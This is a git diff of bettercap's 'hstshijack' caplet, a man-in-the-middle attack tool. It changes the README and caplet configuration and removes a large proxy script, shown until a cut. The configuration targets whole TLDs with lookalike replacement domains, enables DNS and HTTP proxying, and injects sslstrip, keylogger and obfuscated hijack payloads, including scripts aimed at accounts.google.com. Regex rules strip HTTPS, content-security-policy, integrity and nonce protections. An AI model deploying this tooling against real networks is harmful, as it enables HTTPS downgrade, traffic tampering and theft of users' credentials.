diff --git a/hstshijack/README.md b/hstshijack/README.md index f451606..a6a6f14 100644 --- a/hstshijack/README.md +++ b/hstshijack/README.md @@ -2,51 +2,56 @@

-### Caplet +### Caplet ([hstshijack.cap](https://github.com/bettercap/caplets/blob/master/hstshijack/hstshijack.cap)) ```sh # Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack # Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads' # variables get precendence over those assigned to the 'hstshijack.ignore' variable. -set hstshijack.targets *.google.com, google.com, gstatic.com, *.gstatic.com -set hstshijack.replacements *.google.corn,google.corn,gstatic.corn,*.gstatic.corn -set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt -set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json -set hstshijack.ssl.check true -#set hstshijack.blockscripts example.com,*.example.com -set hstshijack.obfuscate true -set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js -set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json -set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com +set hstshijack.targets *.com, *.net,*.me, *.nl,*.ai,*.co.uk,*.cn,*.google +set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,*.al,*.cc.uk,*.ch,*.googl +set hstshijack.replacements.req.body /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Body.json +set hstshijack.replacements.req.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Headers.json +set hstshijack.replacements.req.url /usr/local/share/bettercap/caplets/hstshijack/replacements/req.URL.json +set hstshijack.replacements.res.body /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Body.json +set hstshijack.replacements.res.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Headers.json +set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/ssl/domains.txt +set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/ssl/index.json +set hstshijack.ssl.index.check true +set hstshijack.ssl.discovery.synchronous true +set hstshijack.ssl.discovery.timeout 4 +set hstshijack.cookies.downgrade true +#set hstshijack.blockscripts example.com,*.example.com +set hstshijack.obfuscate true +set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js +set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/session/whitelist.json +set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com net.recon on -set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js +set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/http.proxy.js http.proxy on -set dns.spoof.domains *.google.corn,google.corn,gstatic.corn,*.gstatic.corn -set dns.spoof.all true -dns.spoof on +set dns.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/dns.proxy.js +dns.proxy on ``` ### **hijack.js** payload -This module injects files with a JavaScript payload (**hijack.js**) which acts as a callback for bettercap, and takes care of hostname spoofing in attributes of injected documents, as well as fetch and XMLHttpRequest. - -Injecting **hijack.js** is essential for hostname spoofing. +This module injects files with a JavaScript payload (**hijack.js**) which acts as a callback for bettercap, and takes care of hostname spoofing in the DOM. ### Scalable domain indexing (SSL log)

- Indexed domains that use HTTPS + Indexed domains that use HTTPS

When hosts respond with an HTTPS redirect, bettercap will save their hostname in lists that are sorted by domain prefixes, allowing the list to scale by reducing a considerable amount of overhead for the proxy module. -By default, this caplet will remap these lists of domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable on launch (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.check` variable to `false`. +By default, this caplet will remap these lists of domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable on launch (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.index.check` variable to `false`. Bettercap will also send a HEAD request to unknown hosts that were discovered in the injected document and retrieved via a callback from the **hijack.js** payload. This is done to learn what hosts use HTTPS, ahead of time. @@ -65,6 +70,43 @@ set hstshijack.replacements google.corn,*.google.corn You can try to make them as unnoticeable as you can, but your options are limited here in terms of evading HSTS. +### Regular Expression replacements + +In the **replacements directory** you can find 5 JSON files that are used to spoof HTTP requests and responses. Each Regular Expression that you configure will be pre-compiled when the module is loaded. + +Each Regular Expression set is formatted as follows: `[SELECTOR, FLAGS, REPLACEMENT]` + +Example of response body replacements (res.Body.json): + +```json +{ + "html": { + "*.amazon.com": [ + ["(['\"`](?:http|ws)|sourceMappingURL=http)s", "ig", "$1"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"], + [" http-equiv=['\"]?content-security-policy(?:-report-only)?['\"]?([ />])", "ig", "$1"], + [" integrity=['\"][^'\"]+['\"]([ />])", "ig", "$1"], + [" nonce=[\"][^\"]+['\"]([ />])", "ig", "$1"] + ] + }, + "javascript": { + "*.amazon.com": [ + ["((?:['\"`]|sourceMappingURL=)(?:http|ws))s", "ig", "$1"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"] + ], + "apis.google.com": [ + ["(V=function\\(a\\)\\{)", "g", "$1if(1)return;"] + ] + }, + "json": { + "*": [ + ["(\"(?:http|ws))s", "ig", "$1"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"] + ] + } +} +``` + ### Block scripts In the **caplet file** you can block JavaScript from hosts by assigning them to the `hstshijack.blockscripts` variable. _(wildcard allowed)_ @@ -73,16 +115,14 @@ In the **caplet file** you can block JavaScript f You can also inject your own scripts into files from your specified hosts by assigning them to the `hstshijack.payloads` variable. -Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times. Individual payloads are not failsafe, so you must set your conditions/try and catch blocks yourself. +Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times. Example: ```sh -set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js +set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js ``` -You should always inject the **hijack.js** payload when spoofing hostnames. - ### Obfuscation You can write custom payloads that are automatically obfuscated by the module. diff --git a/hstshijack/hstshijack.cap b/hstshijack/hstshijack.cap index ed30936..9d39934 100644 --- a/hstshijack/hstshijack.cap +++ b/hstshijack/hstshijack.cap @@ -1,24 +1,35 @@ # Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack +set $ "" + +#events.ignore http.proxy.spoofed + # Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads' # variables get precendence over those assigned to the 'hstshijack.ignore' variable. -set hstshijack.targets google.com, *.google.com, gstatic.com, *.gstatic.com -set hstshijack.replacements google.corn,*.google.corn,gstatic.corn,*.gstatic.corn -set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt -set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json -set hstshijack.ssl.check true -#set hstshijack.blockscripts example.com,*.example.com -set hstshijack.obfuscate true -set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js -set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json -set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com +set hstshijack.targets *.com, *.net,*.me, *.nl,clarity.ms,*.clarity.ms,*.ai,*.co.uk,*.cn,*.google +set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,clarity.ns,*.clarity.ns,*.al,*.cc.uk,*.ch,*.googl +set hstshijack.replacements.req.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Body.json +set hstshijack.replacements.req.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Headers.json +set hstshijack.replacements.req.url /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.URL.json +set hstshijack.replacements.res.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Body.json +set hstshijack.replacements.res.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Headers.json +set hstshijack.ssl.domains /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/domains.txt +set hstshijack.ssl.index /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/index.json +set hstshijack.ssl.index.check true +set hstshijack.ssl.discovery.synchronous true +set hstshijack.ssl.discovery.timeout 4 +set hstshijack.cookies.downgrade true +#set hstshijack.blockscripts example.com,*.example.com +set hstshijack.obfuscate true +set hstshijack.payloads *:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/hijack.js,*:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/google-search.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.amoeba.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.hid.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.open.url.js,accounts.google.com:/home/buffermet/amoeba/extension/scripts/hstshijack.accounts.google.com.js +set hstshijack.whitelist /home/buffermet/git/github.com/bettercap/caplets/hstshijack/session/whitelist.json +set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com net.recon on -set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js +set http.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/http.proxy.js http.proxy on -set dns.spoof.domains google.corn,*.google.corn,gstatic.corn,*.gstatic.corn -set dns.spoof.all true -dns.spoof on +set dns.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/dns.proxy.js +dns.proxy on diff --git a/hstshijack/hstshijack.js b/hstshijack/hstshijack.js deleted file mode 100644 index 05e6634..0000000 --- a/hstshijack/hstshijack.js +++ /dev/null @@ -1,1009 +0,0 @@ -/* - * Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack - */ - -var ssl = { - /* Prefix string mapped array of indexed domains. */ - "index": {}, - /* Unicode hierarchy for domain names. */ - "hierarchy": "-.0123456789abcdefghijklmnopqrstuvwxyz", - /* Prefix hierarchy for domain names. */ - "prefixes": ["www.","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"], -}; - -var payload, - payload_container_prefix = ( - "if (!globalThis.{{SESSION_ID_TAG}}) {\n" + - "globalThis.{{SESSION_ID_TAG}} = function() {\n"), - payload_container_suffix = ( - "\n}\n" + - "globalThis.{{SESSION_ID_TAG}}();\n" + - "}\n"); - -var ignore_hosts = [], - target_hosts = [], - replacement_hosts = [], - block_script_hosts = []; - -var payloads = {}, - obfuscate; - -var callback_path, - whitelist_path, - ssl_index_path, - session_id, - varname_target_hosts, - varname_replacement_hosts; - -var math_seed; - -var whitelist = {}; - -var selector_header = /^\s*(.*?)\s*:\s*(.*?)\s*$/, - selector_header_csp = /content-security-policy:.*?\r\n/ig, - selector_header_set_cookie = /^set-cookie$/i, - selector_header_set_cookie_secure_samesite = /^(?:secure$|samesite=)/i, - selector_content_type_html = /text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)/i, - selector_extension_html = /[.](?:html|htm|xml|xhtml|xhtm|xht|hta)$/i, - selector_meta_tag_csp = / http-equiv=['"]?Content-Security-Policy['"]?([ />])/ig, - selector_strip_whitespace = /^\s*(.*?)\s*$/, - selector_uri_one = /^https:\/\//i, - selector_uri_two = /https:\/\/([^:/?#]*).*/i, - selector_content_type_js = /\S+\/javascript/i, - selector_html_magic = /^\s*)/ig, - selector_html_script_close_tag = /<\/script(\s|>)/ig, - selector_all_dashes = /-/g, - selector_all_dots = /\./g, - selector_scheme_http_https_colon = /(http)s:/ig, - selector_port_https = /:443($|[^0-9])/g, - selector_regset_wildcard_one = /^\*\./, - selector_regset_wildcard_two = /\.\*$/, - selector_regset_wildcard_three = /\.\*$/g, - selector_regset_wildcard_four = /\.\*/g, - selector_query_param = /^([^=]*)=(.*)$/; - -var red = "\x1b[31m", - yellow = "\x1b[33m", - green = "\x1b[32m", - blue = "\x1b[34m", - on_white = "\x1b[47;30m", - on_grey = "\x1b[40;37m", - on_blue = "\x1b[104;30m", - bold = "\x1b[1;37m", - reset = "\x1b[0m"; - -function randomString(length) { - length = parseInt(length); - var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", - buff = new Array(length); - for (var a = 0; a < buff.length; a++) { - index = parseInt(Math.random() * chars.length); - buff[a] = chars.charAt(index) - } - return buff.join(""); -} - -function toRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dots, "\\."); - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - return [ - new RegExp("(^|[^a-z0-9-.])" + selector_string + "($|[^a-z0-9-.])", "ig"), - "$1" + replacement_string + "$2" - ]; -} - -function toWholeRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dots, "\\."); - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - return [ - new RegExp("^" + selector_string + "$", "ig"), - replacement_string - ]; -} - -function toWildcardRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - if (selector_regset_wildcard_one.test(selector_string)) { - selector_string = selector_string.replace(selector_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_one, ""); - return [ - new RegExp(selector_string, "ig"), - "$1" + replacement_string - ]; - } else if (selector_regset_wildcard_two.test(selector_string)) { - selector_string = selector_string.replace(selector_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_two, ""); - return [ - new RegExp(selector_string, "ig"), - replacement_string + "$1" - ]; - } else { - log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ")."); - } -} - -function toWholeWildcardRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - if (selector_regset_wildcard_one.test(selector_string)) { - selector_string = selector_string.replace(selector_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_one, ""); - return [ - new RegExp("^" + selector_string + "$", "ig"), - "$1" + replacement_string - ]; - } else if (selector_regset_wildcard_two.test(selector_string)) { - selector_string = selector_string.replace(selector_regset_wildcard_four, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_two, ""); - return [ - new RegExp(selector_string, "ig"), - replacement_string + "$1" - ]; - } else { - log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ")."); - } -} - -/* Matches /(^|[^a-z0-9-.])example\.com($|[^a-z0-9-.])/ig */ -function toRegexpSet(selector_string, replacement_string) { - if (selector_string.indexOf("*") !== -1) { - return toWildcardRegexp(selector_string, replacement_string); - } else { - return toRegexp(selector_string, replacement_string); - } -} - -/* Matches ^example.com$ */ -function toWholeRegexpSet(selector_string, replacement_string) { - if (selector_string.indexOf("*") !== -1) { - return toWholeWildcardRegexp(selector_string, replacement_string); - } else { - return toWholeRegexp(selector_string, replacement_string); - } -} - -/* Saves the list of domains using SSL, as well as its index ranges. */ -function saveSSLIndex() { - domains = []; - for (a = 0; a !== ssl.prefixes.length; a++) { - prefix = ssl.prefixes[a]; - domains = domains.concat(ssl.index[prefix]); - } - ssl.domains = domains; - writeFile(env["hstshijack.ssl.domains"], domains.join("\n")); - writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index)); -} - -/* Saves the list of domains using SSL, as well as its index ranges. */ -function saveWhitelist() { - writeFile(env["hstshijack.whitelist"], JSON.stringify(whitelist)); -} - -/* Returns the amount of characters of an identical prefix of two given strings. */ -function getMatchingPrefixLength(string1, string2) { - count = 0; - if (string1.length > string2.length) { - for (a = 0; a !== string2.length; a++) { - if (string1.charAt(a) !== string2.charAt(a)) { - break; - } - count++; - } - } else { - for (a = 0; a !== string1.length; a++) { - if (string1.charAt(a) !== string2.charAt(a)) { - break; - } - count++; - } - } - return count; -} - -/* Returns true if domain1 gets alphanumeric precendence over domain2. */ -function getsPrecedence(domain1, domain2) { - if (domain1.length > domain2.length) { - /* If the first given domain is longer than the second. */ - for (a = 0; a !== domain2.length; a++) { - rank1 = ssl.hierarchy.indexOf(domain1.charAt(a)); - rank2 = ssl.hierarchy.indexOf(domain2.charAt(a)); - if (rank1 > rank2) { - return false; - } else if (rank1 < rank2) { - return true; - } - } - return false; - } else { - /* If the second given domain is longer than the first. */ - for (a = 0; a !== domain1.length; a++) { - rank1 = ssl.hierarchy.indexOf(domain1.charAt(a)); - rank2 = ssl.hierarchy.indexOf(domain2.charAt(a)); - if (rank1 > rank2) { - return false; - } else if (rank1 < rank2) { - return true; - } - } - return true; - } -} - -/* Returns the index of a given domain. */ -function getDomainIndex(domain) { - domain = domain.toLowerCase(); - for (a = 0; a !== ssl.prefixes.length; a++) { - prefix = ssl.prefixes[a]; - if (domain.startsWith(prefix)) { - return ssl.index[prefix].indexOf(domain); - } - } -} - -/* Index a new domain. */ -function indexDomain(domain) { - domain = domain.toLowerCase(); - domain_prefix = ""; - for (a = 0; a !== ssl.prefixes.length; a++) { - prefix = ssl.prefixes[a]; - if (domain.startsWith(prefix)) { - domain_prefix = prefix; - break; - } - } - indexed_domains = ssl.index[domain_prefix]; - if (indexed_domains.indexOf(domain) === -1) { - /* This domain is not indexed yet. */ - log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ..."); - if (indexed_domains.length !== 0) { - for (a = 0; a < indexed_domains.length; a++) { - indexed_domain = indexed_domains[a]; - if (getsPrecedence(domain, indexed_domain)) { - ssl.index[domain_prefix] = indexed_domains.slice(0, a) - .concat(domain) - .concat(indexed_domains.slice(a, indexed_domains.length)); - saveSSLIndex(); - return; - } - } - ssl.index[domain_prefix].push(domain); - } else { - ssl.index[domain_prefix] = [domain]; - } - saveSSLIndex(); - } else { - /* This domain is already indexed. */ - log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset); - } -} - -function configure() { - /* Read caplet. */ - env["hstshijack.ignore"] - ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "").split(",") - : ignore_hosts = []; - env["hstshijack.targets"] - ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "").split(",") - : target_hosts = []; - env["hstshijack.replacements"] - ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "").split(",") - : replacement_hosts = []; - env["hstshijack.blockscripts"] - ? block_script_hosts = env["hstshijack.blockscripts"].replace(/\s/g, "").split(",") - : block_script_hosts = []; - env["hstshijack.obfuscate"] - ? obfuscate = env["hstshijack.obfuscate"].replace(/\s/g, "").toLowerCase() - : obfuscate = false; - - /* Validate caplet. */ - if (target_hosts.length < replacement_hosts.length) { - log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ")."); - } - if (target_hosts.length > replacement_hosts.length) { - log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ")."); - } - if (target_hosts.indexOf("*") !== -1) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *)."); - } - if (replacement_hosts.indexOf("*") !== -1) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *)."); - } - - whole_prefix_wildcard_domain_selector = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i; - whole_suffix_wildcard_domain_selector = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i; - for (a = 0; a < ignore_hosts.length; a++) { - if ( - !/^\*$/i.test(ignore_hosts[a]) - && !whole_prefix_wildcard_domain_selector.test(ignore_hosts[a]) - && !whole_suffix_wildcard_domain_selector.test(ignore_hosts[a]) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ")."); - } - } - - for (a = 0; a < target_hosts.length; a++) { - if ( - !whole_prefix_wildcard_domain_selector.test(target_hosts[a]) - && !whole_suffix_wildcard_domain_selector.test(target_hosts[a]) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ")."); - } - - if ( - !whole_prefix_wildcard_domain_selector.test(replacement_hosts[a]) - && !whole_suffix_wildcard_domain_selector.test(replacement_hosts[a]) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ")."); - } - - if (/\*/g.test(target_hosts[a]) || /\*/g.test(replacement_hosts[a])) { - target_host_wildcard_count = target_hosts[a].match(/\*/g).length || 0; - replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0; - if (target_host_wildcard_count !== replacement_host_wildcard_count) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ")."); - } - } - } - - for (a = 0; a < block_script_hosts.length; a++) { - if ( - !/^\*$/i.test(block_script_hosts[a]) - && !whole_prefix_wildcard_domain_selector.test(block_script_hosts[a]) - && !whole_suffix_wildcard_domain_selector.test(block_script_hosts[a]) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ")."); - } - } - - if (obfuscate === "true") { - obfuscate = true; - } else { - obfuscate = false; - } - - /* Prepare payloads. */ - env["hstshijack.payloads"] - ? payload_entries = env["hstshijack.payloads"].replace(/\s/g, "").split(",") - : payload_entries = []; - - for (a = 0; a < payload_entries.length; a++) { - if ( - !/^\*:.+$/i.test(payload_entries[a]) - && !/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i.test(payload_entries[a]) - && !whole_suffix_wildcard_domain_selector.test(payload_entries[a]) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ")."); - } - - payload_host = payload_entries[a].replace(/[:].*/, ""); - payload_path = payload_entries[a].replace(/.*[:]/, ""); - - payload = ""; - if (!(payload = readFile(payload_path))) { - log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ")."); - } else { - payload = payload - .replace(/obf_hstshijack_var_target_hosts/g, varname_target_hosts) - .replace(/obf_hstshijack_var_replacement_hosts/g, varname_replacement_hosts) - .replace(/obf_hstshijack_path_callback/g, callback_path) - .replace(/obf_hstshijack_path_ssl_index/g, ssl_index_path) - .replace(/obf_hstshijack_path_whitelist/g, whitelist_path); - - if (obfuscate) { - obfuscation_variables = payload.match(/obf_hstshijack_[a-z0-9_]*/ig) || []; - for (b = 0; b < obfuscation_variables.length; b++) { - if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) { - regexp = new RegExp(obfuscation_variables[b], "g"); - payload = payload.replace(regexp, randomString(8 + (Math.random() * 8))); - } - } - } - - if (payloads[payload_host]) { - payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n"; - } else { - payloads[payload_host] = payload + "\n"; - } - } - } - - /* Prepare payload container */ - payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id); - payload_container_prefix = payload_container_prefix + - "var " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" + - "var " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n"; - payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id); - - /* Prepare whitelist */ - whitelist_file_path = env["hstshijack.whitelist"]; - try { - whitelist = JSON.parse(readFile(whitelist_file_path)); - } catch (err) { - log_fatal(on_blue + "hstshijack" + reset + " Could not read whitelist file (got " + whitelist_file_path + "). Please enter a valid hstshijack.whitelist value in your caplet."); - } - - /* Prepare SSL index */ - ssl_index_check = env["hstshijack.ssl.check"].toLowerCase() || "true"; - all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n"); - for (a = 0; a !== ssl.prefixes.length; a++) { - ssl.index[ssl.prefixes[a]] = []; - } - if (all_domains.length === 0) { - log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset."); - } else { - if (ssl_index_check !== "false") { - log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ..."); - all_domains - .sort() - .filter(function(domain, index, arr){ - if (domain !== "" && arr.indexOf(domain) === index) { - indexDomain(domain); - } - }); - } else { - ssl.domains = all_domains; - index_file_contents = readFile(env["hstshijack.ssl.index"]); - if (ssl.domains.length !== 0 && index_file_contents === "") { - log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.check value to true in your caplet."); - } - try { - ssl.index = JSON.parse(index_file_contents); - } catch (err) { - log_fatal(on_blue + "hstshijack" + reset + "(" + err + ") List of SSL domains is not indexed. Please set your hstshijack.ssl.check value to true in your caplet."); - } - indexed_domains_length = 0; - for (a = 0; a !== ssl.prefixes.length; a++) { - indexed_domains_length += ssl.index[ssl.prefixes[a]].length; - } - if (indexed_domains_length !== all_domains.length) { - log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.check value to true in your caplet."); - } - log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s)."); - } - } - - /* Ensure targeted hosts are in SSL log (no wildcards). */ - for (var a = 0; a < target_hosts.length; a++) { - if (target_hosts[a].indexOf("*") === -1) { - indexDomain(target_hosts[a]); - } - } - - saveSSLIndex(); - log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains."); -} - -function showConfig() { - /* Print module configuration. */ - logStr = "\n"; - logStr += " " + bold + "Caplet" + reset + "\n"; - logStr += "\n"; - logStr += " " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.ssl.check" + reset + " > " + (/^true$/i.test(env["hstshijack.ssl.check"]) ? green + "true" : red + "false") + reset + "\n"; - logStr += " " + yellow + " hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + "hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + "hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n"; - logStr += " " + yellow + " hstshijack.payloads" + reset + " > "; - if (env["hstshijack.payloads"]) { - list = env["hstshijack.payloads"].replace(/\s/g, "").split(","); - logStr += green + list[0] + reset + "\n"; - if (list.length > 1) { - for (a = 1; a < list.length; a++) { - logStr += " > " + green + list[a] + reset + "\n"; 